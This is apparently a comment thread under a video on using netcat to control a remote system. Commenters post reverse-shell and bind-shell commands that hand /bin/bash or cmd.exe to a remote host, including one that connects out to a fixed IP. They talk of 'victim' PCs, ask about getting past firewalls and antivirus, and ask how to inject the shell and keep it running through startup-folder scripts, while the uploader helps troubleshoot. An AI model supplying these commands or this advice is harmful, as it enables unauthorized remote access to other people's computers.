How to use NetCat to control a remote system

[onedayillpay]

here is a example of reverse_tcp_netcat_shell... the victim will not need to farword ports if behind a router, hens (reverse tcp)

first the server... (keep in mind linux command is differnt then windows)

nc -l -p 666

nc bigmac.192.1 -p 666 -e /bin/bash

[f1ctgt2]

do you need to write -L in cmd??? and if i write it without -L will it still have a permanent connection?? please help

[MegaYogcast]

it says cannot execute(c:tony//1tb/ram000000d­d-ci

[softgens]

Sorry but we have no data to try to help you

[heavydu4y]

@softgens  It doesn't work with XP SP2 remote PC

[softgens]

@heavydu4y Hi. It works. Try again and check the firewall. Bye

[heavydu4y]

@softgens Do u mean I have to shut down firewall on my victim pc? because now i can't get access to it . telnet shows error

[softgens]

@heavydu4y No. I thought you was in a test environment. In real world usually the firewall is open from inside to outside at least on port 80 or 443.It should work.Bye

[heavydu4y]

@softgens It does work with localhost but doesn't with remote PC

[softgens]

@heavydu4y ... in the video the PC is remote ..... so it works .... I cannot understand your problem.

[heavydu4y]

@softgens ok, I have 2 Windows XP, I type in cmd nc - l - p 443 -e C:\windows\system32\cmd.exe

on remote PC . On my PC in cmd i type nc PCadress 443. (or telnet PC adress 443) and getting connection error

[softgens]

@heavydu4y On my XP with firewall it works but on Windows you should add "-L". The antivirus could see nc as a virus ...

[heavydu4y]

@softgens tried everything . Telnet is up on both computers, added -L, checked netstat -a, port 443 is listening, allow port and ip address in firewall, still nothing. Connection error

[softgens]

@heavydu4y Telnet ? Why Telnet ? nc !! .... on remote and local PC. Look at the video.

[heavydu4y]

@softgens ok, it's the same telnet ip port or nc ip port. The both ways don't work

[ItakxMocro]

someone hacked my server, how can i stop him!?

[TheEpicHacker]

I have setup a reverse connection netcat program, A built in server & silent client builder to connect to your server.

youtube(dot)com/watch?v=bop3xd­GuXwY

[OnyxCode]

will you decipher the OnyxCode ...

[onedayillpay]

Dont forget the more practical Reverse netcat!!! no need for the victim or client to forward ports or configure any firewalls... ( nc 66.66.66.66 88 -e cmd.exe -d )

-d is for demanize might be capital D, depending on version

[softgens]

@onedayillpay Thank you. Following your suggestion we should use on the controlled pc the command: nc -l -p 24444 -e cmd.exe -d -L

[SAMY2690]

so baysically i have to have a phisical connection to the victime pc and add a bash file who has the listening command in it and put it in the starting folder and make anther bash file witch will have a loop in it trying to connect to the vic machine.

is there any way to inject it or somthing like that

[apollonael]

mine dosent say shell@bt

[xarisisvog]

I love your accent!!!

[SSony3]

i speak spanish but i will try speak english so...

how can you sent a file with NC?

how you can sent a file with NC?.

Please Make A Video to understand

[DannyDethTheOriginal]

I like it, he's using GNU/Linux, finally someone who has a brain when it comes to computers!

[draftpunkfreak]

when i use the nc command in cmd it says its not an operable command! help!

[jeshaw3242]

@draftpunkfreak

google environment variables or go to the directory that you have nc.exe in, in cmd so if my nc.exe is in my user folder I would type cd %userprofile% then nc will work.

[blackmondaysk8crew]

@draftpunkfreak cd nc

[pzzworm]

gtg

[xNORZE]

Briliant video ! 5* and sub.

[duke22093]

So does the other computer have to still run the cmd after u enter all that or can u close it and go to your compter?

[softgens]

Hi. If you run NetCat on the pc that you want to control with the -L option, you can connect how many times you want.